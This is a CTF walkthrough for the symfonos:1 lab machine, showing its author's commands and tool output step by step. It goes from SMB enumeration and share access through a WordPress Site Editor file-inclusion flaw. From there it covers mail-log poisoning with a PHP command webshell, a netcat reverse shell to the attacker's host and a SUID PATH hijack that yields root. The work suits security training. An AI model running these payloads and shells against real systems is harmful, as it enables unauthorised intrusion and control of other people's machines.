45 |   OS: Windows 6.1 (Samba 4.5.16-Debian)
46 |   Computer name: symfonos
47 |   NetBIOS computer name: SYMFONOS\x00
48 |   Domain name: \x00
49 |   FQDN: symfonos
50 |_ System time: 2020-09-23T09:03:02-05:00
51 | smb-security-mode:
52 |   account_used: guest
53 |   authentication_level: user
54 |   challenge_response: supported
55 |_ message_signing: disabled (dangerous, but default)
56 | smb2-security-mode:
57 |   2.02:
58 |_ Message signing enabled but not required
59 | smb2-time:
60 |   date: 2020-09-23T14:03:02
61 |_ start_date: N/A
62
63
64 Comment : File source: https://commons.wikimedia.org/wiki/File:Peter_Paul_Rubens_-_The_Fal
65
66
67 I did enum4linux scan for samba service running on port 139 and 445.
68
69 root@LAPTOP-U5913CMD:/home/akshay# enum4linux symfonos.local
70 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed
71
72 =====
73 |   Target Information   |
74 |=====|
75 Target ..... symfonos.local
76 RID Range ..... 500-550,1000-1050
77 Username ..... ''
78 Password ..... ''
79 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
80
81
82 =====
83 |   Enumerating Workgroup/Domain on symfonos.local   |
84 |=====|
85 [+] Got domain/workgroup name: WORKGROUP
86
87 =====
88 |   Nbtstat Information for symfonos.local   |
89 |=====|

```

```

90 Looking up status of 192.168.0.108
91     SYMFONOS      <00> -      B <ACTIVE>  Workstation Service
92     SYMFONOS      <03> -      B <ACTIVE>  Messenger Service
93     SYMFONOS      <20> -      B <ACTIVE>  File Server Service
94     WORKGROUP     <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
95     WORKGROUP     <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
96
97     MAC Address = 00-00-00-00-00-00
98
99     =====
100    |   Session Check on symfonos.local   |
101    |   =====
102    [+] Server symfonos.local allows sessions using username '', password ''
103
104    |   =====
105    |   Getting domain SID for symfonos.local   |
106    |   =====
107    Domain Name: WORKGROUP
108    Domain Sid: (NULL SID)
109    [+] Can't determine if host is part of domain or part of a workgroup
110
111    |   =====
112    |   OS information on symfonos.local   |
113    |   =====
114    Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line
115    [+] Got OS info for symfonos.local from smbclient:
116    [+] Got OS info for symfonos.local from srvinfo:
117           SYMFONOS      Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian
118           platform_id   :      500
119           os version    :      6.1
120           server type   :      0x809a03
121
122    |   =====
123    |   Users on symfonos.local   |
124    |   =====
125    index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: helios   Name:   Desc:
126
127    user:[helios] rid:[0x3e8]
128
129    |   =====
130    |   Share Enumeration on symfonos.local   |
131    |   =====
132
133           Sharename      Type      Comment
134           -----      -
135           print$         Disk      Printer Drivers
136           helios         Disk      Helios personal share
137           anonymous      Disk
138           IPC$           IPC       IPC Service (Samba 4.5.16-Debian)
139    SMB1 disabled -- no workgroup available
140
141    [+] Attempting to map shares on symfonos.local

```

```
142 //symfonos.local/print$ Mapping: DENIED, Listing: N/A
143 //symfonos.local/helios Mapping: DENIED, Listing: N/A
144 //symfonos.local/anonymous Mapping: OK, Listing: OK
145 //symfonos.local/IPC$ [E] Can't understand response:
146 NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
147
148 =====
149 | Password Policy Information for symfonos.local |
150 =====
151
152
153 [+] Attaching to symfonos.local using a NULL share
154
155 [+] Trying protocol 139/SMB...
156
157 [+] Found domain(s):
158
159     [+] SYMFONOS
160     [+] Builtin
161
162 [+] Password Info for Domain: SYMFONOS
163
164     [+] Minimum password length: 5
165     [+] Password history length: None
166     [+] Maximum password age: 37 days 6 hours 21 minutes
167     [+] Password Complexity Flags: 000000
168
169         [+] Domain Refuse Password Change: 0
170         [+] Domain Password Store Cleartext: 0
171         [+] Domain Password Lockout Admins: 0
172         [+] Domain Password No Clear Change: 0
173         [+] Domain Password No Anon Change: 0
174         [+] Domain Password Complex: 0
175
176     [+] Minimum password age: None
177     [+] Reset Account Lockout Counter: 30 minutes
178     [+] Locked Account Duration: 30 minutes
179     [+] Account Lockout Threshold: None
180     [+] Forced Log off Time: 37 days 6 hours 21 minutes
181
182
183 [+] Retrieved partial password policy with rpcclient:
184
185 Password Complexity: Disabled
186 Minimum Password Length: 5
187
188
189 =====
190 | Groups on symfonos.local |
191 =====
192
193 [+] Getting builtin groups:
194
```

```
195 [+] Getting builtin group memberships:
196
197 [+] Getting local groups:
198
199 [+] Getting local group memberships:
200
201 [+] Getting domain groups:
202
203 [+] Getting domain group memberships:
204
205
206 Found one user - > helios
207
208 root@LAPTOP-U5913CMD:/home/akshay# smbclient -N -L \\\symfonos.local\\
209
210          Sharename      Type      Comment
211          -
212          print$         Disk      Printer Drivers
213          helios          Disk      Helios personal share
214          anonymous       Disk
215          IPC$            IPC        IPC Service (Samba 4.5.16-Debian)
216 SMB1 disabled -- no workgroup available
217
218 root@LAPTOP-U5913CMD:/home/akshay# smbclient //symfonos.local/anonymous
219 Enter WORKGROUP\root's password:
220 Try "help" to get a list of possible commands.
221 smb: \> ls
222      .                D          0   Sat Jun 29 06:44:49 2019
223      ..               D          0   Sat Jun 29 06:42:15 2019
224      attention.txt    N        154  Sat Jun 29 06:44:49 2019
225
226          19994224 blocks of size 1024. 17299264 blocks available
227 smb: \> get attention.txt
228
229 Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
230
231 Next person I find using one of these passwords will be fired!
232
233 -Zeus
234
235
236 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# smbclient -N -L \\\symfonos.local\\
237
238          Sharename      Type      Comment
239          -
240          print$         Disk      Printer Drivers
241          helios          Disk      Helios personal share
242          anonymous       Disk
243          IPC$            IPC        IPC Service (Samba 4.5.16-Debian)
244 SMB1 disabled -- no workgroup available
245 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# smbclient //symfonos.local/helios -
246 Enter WORKGROUP\helios's password:
```

```

247 Try "help" to get a list of possible commands.
248 smb: \> ls
249      .                D            0   Sat Jun 29 06:02:05 2019
250     ..                D            0   Sat Jun 29 06:07:04 2019
251    research.txt       A          432   Sat Jun 29 06:02:05 2019
252    todo.txt           A           52   Sat Jun 29 06:02:05 2019
253
254                19994224 blocks of size 1024. 17299264 blocks available
255 smb: \> get research.txt
256 getting file \research.txt of size 432 as research.txt (46.9 KiloBytes/sec) (average 46.9
257 smb: \> get todo.txt
258 getting file \todo.txt of size 52 as todo.txt (5.6 KiloBytes/sec) (average 26.3 KiloBytes/
259 smb: \>
260
261
262 So the user was helios and password for his personal share is "#####"
263
264 Found these two files ->
265
266 root@LAPTOP-U5913CMD:/home/akshav/Desktop/symsofosCTF# cat research.txt
267 helios (also helios) was the god of the sun in greek mythology. he was thought to ride a g
268 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# ls
269 attention.txt image.jpg password.txt research.txt todo.txt walkthrough.txt
270 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# cat todo.txt
271
272 1. Binge watch Dexter
273 2. Dance
274 3. Work on /h3l105
275
276 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF#
277
278 /h3l105 might be the directory.
279
280
281 [+] admin
282 | Found By: Author Posts - Author Pattern (Passive Detection)
283 | Confirmed By:
284 | Rss Generator (Passive Detection)
285 | Wp Json Api (Aggressive Detection)
286 |   - http://symfonos.local/h3l105/index.php/wp-json/wp/v2/users/?per_page=100&page=1
287 | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
288 | Login Error Messages (Aggressive Detection)
289
290 [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
291 [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb
292
293 [+] Finished: Wed Sep 23 19:48:34 2020
294 [+] Requests Done: 29
295 [+] Cached Requests: 28
296 [+] Data Sent: 7.444 KB
297 [+] Data Received: 467.151 KB
298 [+] Memory used: 133.914 MB
299 [!] Elapsed time: 00:00:34

```

```

299 [T] Elapsed time: 00:00:24
300 root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF#
301
302
303 So admin is the user on wordpress so lets try to login using admin.
304
305
306 http://symfonos.local/h3l105/wp-content/uploads/siteeditor/
307
308 this directory is browsable.
309
310 lets search for siteditor exploit.
311 So I found this vulnerable plugin for wordpress website which includes LFI.
312 WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
313
314
315 http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/
316
317 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:
318
319
320 http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/
321
322 From root@symfonos.localdomain Fri Jun 28 21:08:55 2019 Return-Path: X-Original-To: root D
323
324 Lets try to upload php GET command.
325
326 root@LAPTOP-U5913CMD:/home/akshay# telnet 192.168.0.108 25
327 Trying 192.168.0.108...
328 Connected to 192.168.0.108.
329 Escape character is '^]'.
330 220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
331 MAIL FROM:<mark>
332 250 2.1.0 Ok
333 RCPT TO: Helios
334 250 2.1.5 Ok
335 data
336 354 End data with <CR><LF>.<CR><LF>
337 <?php system($_GET['cmd']); ?>
338 .
339 250 2.0.0 Ok: queued as 36BE140698
340
341
342 http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/
343
344 uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(di
345
346 Lets use netcat to get a reverse shell
347 -> nc 192.168.0.106 1234 -e /bin/sh
348
349 C:\Users\Voker\Downloads\netcat-win32-1.12>nc -nvlp 1234
350 listening on [any] 1234 ...
351 connect to [192.168.0.106] from (UNKNOWN) [192.168.0.108] 48932

```

```
352 id
353 uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(di
354
355 Lets make this shell stable using python.
356
```

[CaptureTheFlag-walkthroughs / symfonos 1 CTF Walkthrough.txt](#)[↑ Top](#)

Code

Blame

Raw



```
362  /** MySQL database username */
363  define( 'DB_USER', 'wordpress' );
364
365  /** MySQL database password */
366  define( 'DB_PASSWORD', 'password123' );
367
368  /** MySQL hostname */
369  define( 'DB_HOST', 'localhost' );
370
371  /** Database Charset to use in creating database tables. */
372  define( 'DB_CHARSET', 'utf8mb4' );
373
374  /** The Database Collate type. Don't change this if in doubt. */
375  define( 'DB_COLLATE', '' );
376
377  Nada... :(
378  I searched for SUID files using the following command:
379
380  helios@symfonos:/$ find / -type f -perm -u=s 2>/dev/null
381  find / -type f -perm -u=s 2>/dev/null
382  /usr/lib/eject/dmccrypt-get-device
383  /usr/lib/dbus-1.0/dbus-daemon-launch-helper
384  /usr/lib/openssh/ssh-keysign
385  /usr/bin/passwd
386  /usr/bin/gpasswd
387  /usr/bin/newgrp
388  /usr/bin/chsh
389  /usr/bin/chfn
390  /opt/statuscheck
391  /bin/mount
392  /bin/umount
393  /bin/su
394  /bin/ping
395
396  /opt/statuscheck looks interesting and can be a way to root shell.
397
398  helios@symfonos:/opt$ strings statuscheck
399  strings statuscheck
400  /lib64/ld-linux-x86-64.so.2
401  libc.so.6
402  system
403  __cxa_finalize
```



```

404 __libc_start_main
405 _ITM_deregisterTMCloneTable
406 __gmon_start__
407 _Jv_RegisterClasses
408 _ITM_registerTMCloneTable
409 GLIBC_2.2.5
410 curl -I H
411 http://1H
412 ocalhostH
413 AWAVA
414 AUATL
415
416 curl -I H
417
418 curl can be used to spawn a root shell.
419
420 echo '/bin/sh' > /tmp/curl
421 chmod 777 /tmp/curl
422 export PATH=/tmp:$PATH
423 ./statuscheck
424 helios@symfonos:/opt$ ./statuscheck
425 ./statuscheck
426 # id
427 id
428 uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29
429 # whoami
430 whoami
431 root
432
433 # cd /root
434 cd /root
435 # ls
436 ls
437 proof.txt
438 # cat proof.txt
439 cat proof.txt
440
441      Congrats on rooting symfonos:1!
442
443      \ __
444  --==/////////////////[})==*
445      / \ '      ,|
446      '\ \      //|      ,|
447      \ \  //,'      -- |
448      )      _-~~~\  | / |'      _-~ / ,
449      ((      /' )  | \ / '/'      _-~ _/_-~|
450      (((      ; /` ' )/ /''      _-~      _-~ ,/'
451      ) ))      `~~\  `\\/'|'      _-~~~_--\ _-~ _/,
452      ((( ))      / ~ ~      \ / ~      _-~~~ _-~~ _/_~ _-~ /
453      ((\~\      |      )  | '      /      _-~~~ \-~~ _-~
454      ` \(\      _--(  _/  |'\      /      _-~~ _-~~' _-~ ~|
455      (  ((~\      _-~      \~\      /      _-~~~ _-~~\~\ _-~
456      ~\~\~\~\~\      ` \-~      \~\      /      _-~~~'~\~\

```

```
457      ;\ __.-~ ~-/      ~~~~__\__---~ ~.---._
458      ;;;;;;;;;' /      ---~~/_.-----.-~ _.._ ~\
459      ;;;;;;;;;' /      ---~~/      \,~      \ \
460      ;;;' (      ---~~/      `::|      \\.
461      |' _      `-----~' /      `:|      ())),
462      ____/\/~ |      /      /      ((((((
463      /~;;.____/;;' /      ____---( `;;;/      )))'`))
464      / // _;____;'-----~~~~ |;;/\ /      (( (
465      // \ \      / | \;;,\
466      (<_ \ \      /',/-----' _>
467      \_| \ \      //~;~~~~~
468      \_|      (,~
469      \~\
470      ~
471
```

472 Contact me via Twitter @zayotic to give feedback!

473

474

475 # echo 'Thank you..Happy Hacking' > signing\_out.txt